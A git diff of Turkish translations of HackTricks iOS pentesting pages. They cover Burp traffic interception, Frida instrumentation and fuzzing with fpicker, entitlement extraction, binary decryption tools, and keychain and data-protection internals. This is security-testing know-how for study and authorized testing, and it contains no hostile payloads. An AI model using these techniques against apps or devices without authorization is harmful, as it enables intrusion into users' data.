Bu yapılandırma, Burp aracılığıyla iOS cihazı ile internet arasındaki trafik analizini sağlar ve istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Eğer mevcut değilse, usbmuxd üzerinden bir USB bağlantısı alternatif olarak kullanılabilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında derinlemesine talimatlar sunmaktadır. Bu yapılandırma, iOS cihazı ile internet arasındaki trafiği Burp üzerinden analiz etmeyi sağlar ve istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Eğer mevcut değilse, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak kullanılabilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında derinlemesine talimatlar sunmaktadır.
### Jailbroken Cihazlar için Gelişmiş Yapılandırma ### Jailbroken Cihazlar için Gelişmiş Yapılandırma
Jailbroken cihazlara sahip kullanıcılar için, USB üzerinden SSH ( **iproxy** aracılığıyla) trafiği doğrudan Burp üzerinden yönlendirmek için bir yöntem sunar: Jailbroken cihazlara sahip kullanıcılar için, USB üzerinden SSH ( **iproxy** aracılığıyla) trafiği doğrudan Burp üzerinden yönlendirmek için bir yöntem sunar:
1. **SSH Bağlantısını Kurun:** iproxy kullanarak SSH'yi localhost'a yönlendirin, bu sayede iOS cihazından Burp'ı çalıştıran bilgisayara bağlantı sağlanır. 1. **SSH Bağlantısını Kurun:** iproxy kullanarak SSH'yi localhost'a yönlendirin, bu sayede iOS cihazı ile Burp'ı çalıştıran bilgisayar arasında bağlantı sağlanır.
```bash ```bash
iproxy 2222 22 iproxy 2222 22
@ -51,7 +51,7 @@ $ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0 Starting device <UDID> [SUCCEEDED] with interface rvi0
``` ```
3. UDID'nin belirlenmesinden sonra, **Wireshark**ılmalı ve veri yakalama için "rvi0" arayüzü seçilmelidir. 3. UDID'nin belirlenmesinden sonra, **Wireshark**ılmalı ve veri yakalama için "rvi0" arayüzü seçilmelidir.
4. Belirli bir IP adresine ait HTTP trafiğini yakalamak gibi hedefli izleme için, Wireshark'ın Yakalama Filtreleri kullanılabilir: 4. Belirli bir IP adresine ilişkin HTTP trafiğini yakalamak gibi hedefli izleme için, Wireshark'ın Yakalama Filtreleri kullanılabilir:
## Simülatörde Burp Sertifika Kurulumu ## Simülatörde Burp Sertifika Kurulumu
@ -61,9 +61,9 @@ _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER format
![](<../../images/image (534).png>) ![](<../../images/image (534).png>)
- Sertifikayı **Emülatöre Sürükleyip Bırakın** - Sertifikayı Emülatör içine **Sürükleyip Bırakın**
- **Emülatörde** _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_ yolunu izleyin ve **sertifikayı doğrulayın** - **Emülatör içinde** _Settings_ --> _General_ --> _Profile_ --> _PortSwigger CA_ yoluna gidin ve **sertifikayı doğrulayın**
- **Emülatörde** _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_ yolunu izleyin ve **PortSwigger CA'yı etkinleştirin** - **Emülatör içinde** _Settings_ --> _General_ --> _About_ --> _Certificate Trust Settings_ yoluna gidin ve **PortSwigger CA'yı etkinleştirin**
![](<../../images/image (1048).png>) ![](<../../images/image (1048).png>)
@ -78,11 +78,11 @@ Burp'ı proxy olarak yapılandırma adımları:
- _System Preferences_ --> _Network_ --> _Advanced_ yoluna gidin - _System Preferences_ --> _Network_ --> _Advanced_ yoluna gidin
- _Proxies_ sekmesinde _Web Proxy (HTTP)_ ve _Secure Web Proxy (HTTPS)_ seçeneklerini işaretleyin - _Proxies_ sekmesinde _Web Proxy (HTTP)_ ve _Secure Web Proxy (HTTPS)_ seçeneklerini işaretleyin
- Her iki seçenek için _127.0.0.1:8080_ yapılandırmasını yapın - Her iki seçenek için _127.0.0.1:8080_ yapılandırın
![](<../../images/image (431).png>) ![](<../../images/image (431).png>)
- _**Ok**_ butonuna tıklayın ve ardından _**Apply**_ seçeneğine tıklayın - _**Ok**_ butonuna tıklayın ve ardından _**Apply**_ butonuna tıklayın
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -6,7 +6,7 @@ Sayfanın özeti [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TES
### **Yetkilerin ve Mobil Sağlama Dosyalarının Çıkarılması** ### **Yetkilerin ve Mobil Sağlama Dosyalarının Çıkarılması**
Bir uygulamanın IPA'sı veya jailbreak yapılmış bir cihazda kurulu bir uygulama ile çalışırken, `.entitlements` dosyalarını veya `embedded.mobileprovision` dosyasını doğrudan bulmak mümkün olmayabilir. Ancak, uygulama ikili dosyasından yetki özellik listeleri hala çıkarılabilir; bu, "iOS Temel Güvenlik Testi" bölümünde, özellikle "Uygulama İkili Dosyasını Edinme" kısmında belirtilen prosedürleri takip ederek yapılabilir. Bir uygulamanın IPA'sı veya jailbreak yapılmış bir cihazda kurulu bir uygulama ile çalışırken, `.entitlements` dosyalarını veya `embedded.mobileprovision` dosyasını doğrudan bulmak mümkün olmayabilir. Ancak, yetki özellik listeleri uygulama ikili dosyasından çıkarılabilir; bu, "iOS Temel Güvenlik Testi" bölümünde, özellikle "Uygulama İkili Dosyasını Edinme" kısmında belirtilen prosedürleri takip ederek yapılabilir.
Şifreli ikili dosyalarla bile, bu dosyaları çıkarmak için belirli adımlar uygulanabilir. Bu adımlar başarısız olursa, Clutch (iOS sürümüyle uyumluysa), frida-ios-dump veya benzeri yardımcı programlar uygulamayı şifre çözmek ve çıkarmak için gerekli olabilir. Şifreli ikili dosyalarla bile, bu dosyaları çıkarmak için belirli adımlar uygulanabilir. Bu adımlar başarısız olursa, Clutch (iOS sürümüyle uyumluysa), frida-ios-dump veya benzeri yardımcı programlar uygulamayı şifre çözmek ve çıkarmak için gerekli olabilir.

View File

@ -1,4 +1,4 @@
# iOS Frida Konfigürasyonu # iOS Frida Yapılandırması
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
@ -15,21 +15,21 @@
Eğer **Corellium** kullanıyorsanız, Frida sürümünü [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) adresinden indirmelisiniz (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) ve unpack edip Frida'nın istediği dylib konumuna kopyalamalısınız, örneğin: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` Eğer **Corellium** kullanıyorsanız, Frida sürümünü [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) adresinden indirmelisiniz (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) ve unpack edip Frida'nın istediği dylib konumuna kopyalamalısınız, örneğin: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Kurulduktan sonra, PC'nizde **`frida-ls-devices`** komutunu kullanarak cihazın görünüp görünmediğini kontrol edebilirsiniz (PC'nizin cihaza erişebilmesi gerekir).\ Kurulduktan sonra, PC'nizde **`frida-ls-devices`** komutunu kullanarak cihazın görünüp görünmediğini kontrol edebilirsiniz (PC'nizin ona erişebilmesi gerekir).\
Ayrıca telefonun çalışan süreçlerini kontrol etmek için **`frida-ps -Uia`** komutunu da çalıştırın. Ayrıca telefonun çalışan süreçlerini kontrol etmek için **`frida-ps -Uia`** komutunu da çalıştırın.
## Jailbroken cihaz olmadan ve uygulamayı patchlemeden Frida ## Jailbroken cihaz olmadan ve uygulamayı patchlemeden Frida
Uygulamayı patchlemeden jailbroken olmayan cihazlarda Frida'yı nasıl kullanacağınız hakkında bu blog yazısını kontrol edin: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) Uygulamayı patchlemeden jailbreak yapılmamış cihazlarda Frida'nın nasıl kullanılacağı hakkında bu blog yazısını kontrol edin: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Frida İstemcisi Kurulumu ## Frida İstemci Kurulumu
**frida tools**'u kurun: **frida tools**'u kurun:
```bash ```bash
pip install frida-tools pip install frida-tools
pip install frida pip install frida
``` ```
Frida sunucusu kurulu ve cihaz çalışıyor ve bağlı olduğunda, **kontrol et** eğer istemci **çalışıyorsa**: Frida sunucusu kurulu ve cihaz çalışıyor ve bağlı olduğunda, **kontrol et** eğer istemci **çalışıyor**:
```bash ```bash
frida-ls-devices # List devices frida-ls-devices # List devices
frida-ps -Uia # Get running processes frida-ps -Uia # Get running processes
@ -135,7 +135,7 @@ console.log("loaded")
### Frida Stalker ### Frida Stalker
[Belgelerden](https://frida.re/docs/stalker/): Stalker, Frida'nın kod **izleme motoru**dur. İş parçacıklarının **takip edilmesine** olanak tanır, her fonksiyonu, **her bloğu**, hatta yürütülen her talimatı **yakalar**. [From the docs](https://frida.re/docs/stalker/): Stalker, Frida'nın kod **izleme motoru**dur. İş parçacıklarının **takip edilmesine** olanak tanır, her fonksiyonu, **her bloğu**, hatta yürütülen her talimatı **yakalar**.
Frida Stalker'ı uygulayan bir örneğiniz var [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py) Frida Stalker'ı uygulayan bir örneğiniz var [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
@ -182,9 +182,9 @@ Stalker.flush() // this is important to get all events
## [Fpicker](https://github.com/ttdennis/fpicker) ## [Fpicker](https://github.com/ttdennis/fpicker)
[**fpicker**](https://github.com/ttdennis/fpicker), in-process fuzzing için AFL++ modu veya pasif izleme modu gibi çeşitli fuzzing modları sunan bir **Frida tabanlı fuzzing paketi**dir. Frida tarafından desteklenen tüm platformlarda çalışmalıdır. [**fpicker**](https://github.com/ttdennis/fpicker) **Frida tabanlı bir fuzzing paketi** olup, AFL++ modu veya pasif izleme modu gibi süreç içi fuzzing için çeşitli fuzzing modları sunar. Frida tarafından desteklenen tüm platformlarda çalışmalıdır.
- [**fpicker'ı yükle**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa** - [**fpicker'ı yükleyin**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash ```bash
# Get fpicker # Get fpicker
git clone https://github.com/ttdennis/fpicker git clone https://github.com/ttdennis/fpicker
@ -277,7 +277,7 @@ this.target_function(this.wg_log_global_ptr, this.tag, this.payload)
const f = new WGLogFuzzer() const f = new WGLogFuzzer()
rpc.exports.fuzzer = f rpc.exports.fuzzer = f
``` ```
- **Fuzzer'ı derleyin**: - **Fuzzer'ı** derleyin:
```bash ```bash
# From inside fpicker clone # From inside fpicker clone
## Compile from "myfuzzer.js" to "harness.js" ## Compile from "myfuzzer.js" to "harness.js"
@ -290,17 +290,17 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
# You can find code coverage and crashes in examples/wg-log/out/ # You can find code coverage and crashes in examples/wg-log/out/
``` ```
> [!CAUTION] > [!CAUTION]
> Bu durumda her yüklemeden sonra **uygulamayı yeniden başlatmıyoruz veya durumu geri yüklemiyoruz**. Bu nedenle, Frida bir **çökme** bulursa, o yüklemeden sonraki **girdiler** de **uygulamayı çökertme** riski taşır (çünkü uygulama kararsız bir durumda) ve **girdi uygulamayı çökertmemelidir**. > Bu durumda her payload'tan sonra **uygulamayı yeniden başlatmıyoruz veya durumu geri yüklemiyoruz**. Bu nedenle, Frida bir **çökme** bulursa, o payload'tan sonraki **girdiler** de **uygulamayı çökertme** riski taşır (çünkü uygulama kararsız bir durumda) ve **girdi uygulamayı çökertmemelidir**.
> >
> Ayrıca, Frida iOS'un istisna sinyallerine bağlanacak, bu nedenle **Frida bir çökme bulduğunda**, muhtemelen **iOS çökme raporları oluşturulmayacaktır**. > Dahası, Frida iOS'un istisna sinyallerine bağlanacak, bu nedenle **Frida bir çökme bulduğunda**, muhtemelen **iOS çökme raporları oluşturulmayacaktır**.
> >
> Bunu önlemek için, örneğin, her Frida çökmesinden sonra uygulamayı yeniden başlatabiliriz. > Bunu önlemek için, örneğin, her Frida çökmesinden sonra uygulamayı yeniden başlatabiliriz.
### Günlükler & Çökme ### Loglar & Çökme
**macOS konsolunu** veya **`log`** cli'yi kullanarak macOS günlüklerini kontrol edebilirsiniz.\ **macOS konsolunu** veya **`log`** cli'yi kullanarak macOS loglarını kontrol edebilirsiniz.\
Ayrıca **`idevicesyslog`** kullanarak iOS günlüklerini de kontrol edebilirsiniz.\ Ayrıca **`idevicesyslog`** kullanarak iOS loglarını da kontrol edebilirsiniz.\
Bazı günlükler, bilgileri **`<private>`** ekleyerek gizleyebilir. Tüm bilgileri göstermek için, o özel bilgiyi etkinleştirmek üzere [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) adresinden bazı profilleri yüklemeniz gerekir. Bazı loglar, bilgi ekleyerek **`<private>`** ifadesini atlayabilir. Tüm bilgileri göstermek için, o özel bilgiyi etkinleştirmek üzere [https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/) adresinden bazı profilleri yüklemeniz gerekir.
Ne yapacağınızı bilmiyorsanız: Ne yapacağınızı bilmiyorsanız:
```sh ```sh

View File

@ -15,7 +15,7 @@ Bir kullanıcı, bir ana uygulamadan metin paylaşmak gibi bu uzantılarla etkil
Ana güvenlik unsurları şunlardır: Ana güvenlik unsurları şunlardır:
- Uzantılar ve içerdikleri uygulamalar, doğrudan değil, süreçler arası iletişim yoluyla iletişim kurar. - Uzantılar ve içerdikleri uygulamalar, doğrudan değil, süreçler arası iletişim yoluyla iletişim kurar.
- **Bugün widget'ı**, uygulamasının belirli bir yöntemle açılmasını talep edebilmesi açısından benzersizdir. - **Bugün widget'ı**, uygulamasını belirli bir yöntemle açmasını isteyebilmesi açısından benzersizdir.
- Paylaşılan veri erişimi, özel bir konteyner içinde izinlidir, ancak doğrudan erişim kısıtlanmıştır. - Paylaşılan veri erişimi, özel bir konteyner içinde izinlidir, ancak doğrudan erişim kısıtlanmıştır.
- HealthKit gibi belirli API'ler uygulama uzantılarına kapalıdır; ayrıca iMessage uzantıları dışında uzun süreli görevler başlatamaz, kamera veya mikrofona erişemezler. - HealthKit gibi belirli API'ler uygulama uzantılarına kapalıdır; ayrıca iMessage uzantıları dışında uzun süreli görevler başlatamaz, kamera veya mikrofona erişemezler.

View File

@ -1,21 +1,21 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
# Ayrıcalık Ayrımı ve Sandbox # Ayrılmış Yetki ve Sandbox
iOS'ta, kullanıcı erişimine açık uygulamalar ile sistemin temel süreçleri arasında bir ayrıcalık ayrımı vardır. Uygulamalar **`mobile`** kullanıcı kimliği altında çalışırken, kritik sistem süreçleri **`root`** olarak çalışır. Bu ayrım, uygulamaların gerçekleştirebileceği eylemler üzerinde katı sınırlamalar getiren bir sandbox mekanizması ile güçlendirilmiştir. Örneğin, uygulamalar aynı kullanıcı kimliğini paylaşsa bile, birbirlerinin verilerine erişmeleri veya bunları değiştirmeleri yasaktır. iOS'ta, kullanıcı erişimine açık uygulamalar ile sistemin temel süreçleri arasında bir yetki ayrımı vardır. Uygulamalar **`mobile`** kullanıcı kimliği altında çalışırken, kritik sistem süreçleri **`root`** olarak çalışır. Bu ayrım, uygulamaların gerçekleştirebileceği eylemler üzerinde katı sınırlamalar getiren bir sandbox mekanizması ile güçlendirilmiştir. Örneğin, uygulamalar aynı kullanıcı kimliğini paylaşsa bile, birbirlerinin verilerine erişmeleri veya bunları değiştirmeleri yasaktır.
Uygulamalar belirli bir dizine (`private/var/mobile/Applications/{random ID}`) yüklenir ve SMS ve telefon görüşmeleri gibi belirli sistem alanlarına ve işlevlerine sınırlı okuma erişimine sahiptir. Korunan alanlara erişim, kullanıcı izni için bir pop-up isteği tetikler. Uygulamalar belirli bir dizine (`private/var/mobile/Applications/{random ID}`) kurulur ve SMS ve telefon görüşmeleri gibi belirli sistem alanlarına ve işlevlerine sınırlı okuma erişimine sahiptir. Korunan alanlara erişim, kullanıcı izni için bir pop-up isteği tetikler.
# Veri Koruma # Veri Koruma
iOS, geliştiricilere **Veri Koruma API'leri** sunar; bu API'ler, kriptografik işlemler ve anahtar yönetimi için özel bir yardımcı işlemci olan Secure Enclave Processor (SEP) üzerine inşa edilmiştir. SEP, içinde gömülü olan cihaz UID ile birlikte, cihaz koruma bütünlüğünü sağlamak için cihaz spesifik bir anahtar kullanır. iOS, geliştiricilere **Veri Koruma API'leri** sunar; bu API'ler, kriptografik işlemler ve anahtar yönetimi için özel bir yardımcı işlemci olan Secure Enclave Processor (SEP) üzerine inşa edilmiştir. SEP, içinde gömülü olan cihaz UID ile birlikte, cihaz koruma bütünlüğünü sağlamak için benzersiz bir cihaz spesifik anahtar kullanır.
Dosya oluşturulduğunda, dosyanın içeriğini şifreleyen benzersiz bir 256-bit AES şifreleme anahtarı üretilir. Bu şifreleme anahtarı, bir sınıf kimliği ile birlikte, bir sınıf anahtarı kullanılarak şifrelenir ve dosyanın meta verileri içinde saklanır. Bir dosyayı şifre çözmek, sistemin anahtarını kullanarak meta verilere erişmeyi, sınıf kimliği ile sınıf anahtarını almayı ve ardından dosyanın benzersiz şifreleme anahtarını çözmeyi içerir. Dosya oluşturulduğunda, dosyanın içeriğini şifreleyen benzersiz bir 256-bit AES şifreleme anahtarı üretilir. Bu şifreleme anahtarı, bir sınıf kimliği ile birlikte, bir sınıf anahtarı kullanılarak şifrelenir ve dosyanın meta verileri içinde saklanır. Bir dosyayı şifre çözmek, sistemin anahtarını kullanarak meta verilere erişmeyi, sınıf kimliği ile sınıf anahtarını almayı ve ardından dosyanın benzersiz şifreleme anahtarını çözmeyi içerir.
iOS, verilerin güvenliği için **dört koruma sınıfı** tanımlar; bu sınıflar, verilerin ne zaman ve nasıl erişilebileceğini belirler: iOS, veri güvenliği için **dört koruma sınıfı** tanımlar; bu sınıflar, verilerin ne zaman ve nasıl erişilebileceğini belirler:
- **Tam Koruma (NSFileProtectionComplete)**: Veri, cihaz kullanıcının şifresi ile kilidi açılana kadar erişilemez. - **Tam Koruma (NSFileProtectionComplete)**: Veri, cihaz kullanıcının şifresi ile kilidi açılana kadar erişilemez.
- **Açık Olmadığı Sürece Koruma (NSFileProtectionCompleteUnlessOpen)**: Cihaz kilitli olsa bile, dosya açıldığında erişime izin verir. - **Açık Olmadıkça Koruma (NSFileProtectionCompleteUnlessOpen)**: Cihaz kilitli olsa bile, dosya açıldığında erişime izin verir.
- **İlk Kullanıcı Kimlik Doğrulamasına Kadar Koruma (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Veri, cihazın ilk açılışından sonra erişilebilir, cihaz tekrar kilitlense bile erişilebilir kalır. - **İlk Kullanıcı Kimlik Doğrulamasına Kadar Koruma (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Veri, cihazın ilk açılışından sonra erişilebilir, cihaz tekrar kilitlense bile erişilebilir kalır.
- **Koruma Yok (NSFileProtectionNone)**: Veri yalnızca cihaz UID ile korunur, hızlı uzaktan veri silmeyi kolaylaştırır. - **Koruma Yok (NSFileProtectionNone)**: Veri yalnızca cihaz UID ile korunur, hızlı uzaktan veri silmeyi kolaylaştırır.
@ -32,7 +32,7 @@ python filedp.py /path/to/check
``` ```
## **Anahtar Zinciri** ## **Anahtar Zinciri**
iOS'ta, bir **Anahtar Zinciri**, yalnızca onu depolayan uygulama veya açıkça yetkilendirilmiş olanlar tarafından erişilebilen **hassas bilgileri** depolamak için güvenli bir **şifreli konteyner** olarak hizmet eder. Bu şifreleme, iOS tarafından üretilen benzersiz bir **şifre** ile güçlendirilmiştir ve bu şifre **AES** ile şifrelenmiştir. Bu şifreleme süreci, kullanıcının şifresini bir cihazın **UID**'sinden türetilen bir tuz ile birleştiren bir **PBKDF2 fonksiyonu** kullanır; bu bileşene yalnızca **güvenli enclave yongası** erişebilir. Sonuç olarak, kullanıcının şifresi bilinse bile, Anahtar Zinciri içeriği yalnızca orijinal olarak şifrelendiği cihazda erişilemez durumda kalır. iOS'ta, bir **Anahtar Zinciri** **şifrelenmiş güvenli bir konteyner** olarak **hassas bilgileri** depolamak için hizmet eder; bu bilgilere yalnızca onu depolayan uygulama veya açıkça yetkilendirilmiş olanlar erişebilir. Bu şifreleme, iOS tarafından üretilen benzersiz bir **şifre** ile güçlendirilmiştir ve bu şifre **AES** ile şifrelenmiştir. Bu şifreleme süreci, kullanıcının şifresini cihazın **UID**'sinden türetilen bir tuz ile birleştiren bir **PBKDF2 fonksiyonu** kullanır; bu bileşene yalnızca **güvenli enclave yongası** erişebilir. Sonuç olarak, kullanıcının şifresi bilinse bile, Anahtar Zinciri içeriği yalnızca orijinal olarak şifrelendiği cihazda erişilemez durumda kalır.
Anahtar Zinciri verilerine **yönetim ve erişim**, `Keychain-access-groups` ve `application-identifier` gibi belirli uygulama yetkilerine dayanan **`securityd` daemon** tarafından yönetilir. Anahtar Zinciri verilerine **yönetim ve erişim**, `Keychain-access-groups` ve `application-identifier` gibi belirli uygulama yetkilerine dayanan **`securityd` daemon** tarafından yönetilir.
@ -40,20 +40,20 @@ Anahtar Zinciri verilerine **yönetim ve erişim**, `Keychain-access-groups` ve
Anahtar Zinciri API'si, [Apple'ın Anahtar Zinciri Hizmetleri belgelerinde](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) detaylandırılmıştır ve güvenli depolama yönetimi için temel işlevler sağlar: Anahtar Zinciri API'si, [Apple'ın Anahtar Zinciri Hizmetleri belgelerinde](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html) detaylandırılmıştır ve güvenli depolama yönetimi için temel işlevler sağlar:
- **`SecItemAdd`**: Anahtar Zincirine yeni bir öğe ekler. - **`SecItemAdd`**: Anahtar Zinciri'ne yeni bir öğe ekler.
- **`SecItemUpdate`**: Anahtar Zincirindeki mevcut bir öğeyi günceller. - **`SecItemUpdate`**: Anahtar Zinciri'ndeki mevcut bir öğeyi günceller.
- **`SecItemCopyMatching`**: Anahtar Zincirinden bir öğe alır. - **`SecItemCopyMatching`**: Anahtar Zinciri'nden bir öğe alır.
- **`SecItemDelete`**: Anahtar Zincirinden bir öğeyi kaldırır. - **`SecItemDelete`**: Anahtar Zinciri'nden bir öğeyi kaldırır.
Anahtar Zinciri şifresini zorlamak, ya şifrelenmiş anahtara doğrudan saldırmak ya da cihazda şifreyi tahmin etmeye çalışmak anlamına gelir; bu, güvenli enclave'in başarısız denemeler arasında bir gecikme uygulamasıyla önemli ölçüde engellenir. Anahtar Zinciri şifresini zorlamak, ya şifrelenmiş anahtara doğrudan saldırmak ya da cihazda şifreyi tahmin etmeye çalışmak anlamına gelir; bu, güvenli enclave'in başarısız denemeler arasında bir gecikme uygulamasıyla önemli ölçüde engellenir.
### **Anahtar Zinciri Öğesi Veri Koruma Yapılandırması** ### **Anahtar Zinciri Öğesi Veri Koruma Yapılandırması**
Anahtar Zinciri öğeleri için veri koruma seviyeleri, öğe oluşturma veya güncelleme sırasında `kSecAttrAccessible` niteliği kullanılarak ayarlanır. Bu seviyeler, [Apple tarafından belirtilen](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100) Anahtar Zinciri öğelerinin ne zaman ve nasıl erişilebilir olduğunu belirler: Anahtar Zinciri öğeleri için veri koruma seviyeleri, öğe oluşturma veya güncelleme sırasında `kSecAttrAccessible` niteliği kullanılarak ayarlanır. Bu seviyeler, [Apple tarafından belirtilen](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100) erişim zamanını ve yöntemini belirler:
- **`kSecAttrAccessibleAlways`**: Cihaz kilit durumu ne olursa olsun her zaman erişilebilir. - **`kSecAttrAccessibleAlways`**: Cihaz kilit durumu ne olursa olsun her zaman erişilebilir.
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Her zaman erişilebilir, ancak yedeklemelere dahil edilmez. - **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Her zaman erişilebilir, ancak yedeklemelere dahil edilmez.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Yeniden başlatmadan sonraki ilk açılışta erişilebilir. - **`kSecAttrAccessibleAfterFirstUnlock`**: Yeniden başlatmadan sonra ilk açılışta erişilebilir.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Yukarıdakiyle aynı, ancak yeni cihazlara aktarılmaz. - **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Yukarıdakiyle aynı, ancak yeni cihazlara aktarılmaz.
- **`kSecAttrAccessibleWhenUnlocked`**: Cihaz açıkken yalnızca erişilebilir. - **`kSecAttrAccessibleWhenUnlocked`**: Cihaz açıkken yalnızca erişilebilir.
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Açıkken erişilebilir, yedeklemelere dahil edilmez. - **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Açıkken erişilebilir, yedeklemelere dahil edilmez.
@ -68,7 +68,7 @@ Anahtar Zinciri öğeleri için veri koruma seviyeleri, öğe oluşturma veya g
### **Anahtar Zinciri Verilerinin Sürekliliği** ### **Anahtar Zinciri Verilerinin Sürekliliği**
Uygulama kaldırıldığında silinen uygulama özel verilerinin aksine, **Anahtar Zinciri verileri** cihazda kalır. Bu özellik, ikinci el bir cihazın yeni sahiplerinin, uygulamaları yeniden yükleyerek önceki sahibin uygulama verilerine erişim sağlamasına olanak tanıyabilir. Geliştiricilerin, bu riski azaltmak için uygulama kurulumu sırasında veya çıkış yapıldığında Anahtar Zinciri verilerini proaktif olarak temizlemeleri önerilir. İşte uygulama ilk açıldığında Anahtar Zinciri verilerini temizlemeyi gösteren bir Swift kod örneği: Uygulama kaldırıldığında silinen uygulama özel verilerinin aksine, **Anahtar Zinciri verileri** cihazda kalır. Bu özellik, ikinci el bir cihazın yeni sahiplerinin, uygulamaları yeniden yükleyerek önceki sahibin uygulama verilerine erişim sağlamasına olanak tanıyabilir. Geliştiricilerin, bu riski azaltmak için uygulama kurulumu sırasında veya çıkış yapıldığında Anahtar Zinciri verilerini proaktif olarak temizlemeleri önerilir. İşte ilk uygulama açılışında Anahtar Zinciri verilerini temizlemeyi gösteren bir Swift kod örneği:
```swift ```swift
let userDefaults = UserDefaults.standard let userDefaults = UserDefaults.standard
@ -84,7 +84,7 @@ userDefaults.synchronize() // Forces the app to update UserDefaults
Uygulama geliştirme alanında, **sandboxing** güvenliği artırmada kritik bir rol oynamaktadır. Bu süreç, her uygulamanın kendi benzersiz ana dizininde çalışmasını sağlar ve böylece sistem dosyalarına veya diğer uygulamalara ait verilere erişimini engeller. Bu kısıtlamaların uygulanması, **Trusted BSD (MAC) Mandatory Access Control Framework**'ün bir parçası olan sandbox politikaları aracılığıyla gerçekleştirilir. Uygulama geliştirme alanında, **sandboxing** güvenliği artırmada kritik bir rol oynamaktadır. Bu süreç, her uygulamanın kendi benzersiz ana dizininde çalışmasını sağlar ve böylece sistem dosyalarına veya diğer uygulamalara ait verilere erişimini engeller. Bu kısıtlamaların uygulanması, **Trusted BSD (MAC) Mandatory Access Control Framework**'ün bir parçası olan sandbox politikaları aracılığıyla gerçekleştirilir.
Geliştiriciler, uygulamaları için **veri koruma** veya **anahtar zinciri paylaşımı** gibi belirli **yetenekler veya izinler** yapılandırma yeteneğine sahiptir. Bu izinler, uygulama yüklendikten hemen sonra uygulanır. Ancak, belirli korunan kaynaklara erişim için uygulamanın, ilk deneme sırasında kullanıcıdan açık onay alması gerekmektedir. Bu, kullanıcılara bir izin talep uyarısında sunulan _amaç dizeleri_ veya _kullanım açıklama dizeleri_ aracılığıyla sağlanır. Geliştiriciler, uygulamaları için **Veri Koruma** veya **Anahtar Zinciri Paylaşımı** gibi belirli **yetenekler veya izinler** yapılandırma yeteneğine sahiptir. Bu izinler, uygulama yüklendikten hemen sonra uygulanır. Ancak, belirli korunan kaynaklara erişim için uygulamanın, ilk deneme sırasında kullanıcıdan açık onay alması gerekmektedir. Bu, kullanıcılara bir izin talep uyarısında sunulan _amaç dizeleri_ veya _kullanım açıklama dizeleri_ aracılığıyla sağlanır.
Kaynak koduna erişimi olanlar, `Info.plist` dosyasındaki izinleri doğrulamak için şu adımları izleyebilir: Kaynak koduna erişimi olanlar, `Info.plist` dosyasındaki izinleri doğrulamak için şu adımları izleyebilir:
@ -107,7 +107,7 @@ Bir IPA dosyası ile çalışırken, aşağıdaki adımlar izlenebilir:
``` ```
## Cihaz Yetenekleri ## Cihaz Yetenekleri
Bir uygulamanın `Info.plist` dosyası, App Store'un uygulamaları cihaz uyumluluğu için filtrelemesine yardımcı olan **cihaz yeteneklerini** belirtir. Bunlar **`UIRequiredDeviceCapabilities`** anahtarı altında tanımlanmıştır. Örneğin: Bir uygulamanın `Info.plist` dosyası, App Store'un uygulamaları cihaz uyumluluğu için filtrelemesine yardımcı olan **cihaz yeteneklerini** belirtir. Bunlar **`UIRequiredDeviceCapabilities`** anahtarı altında tanımlanır. Örneğin:
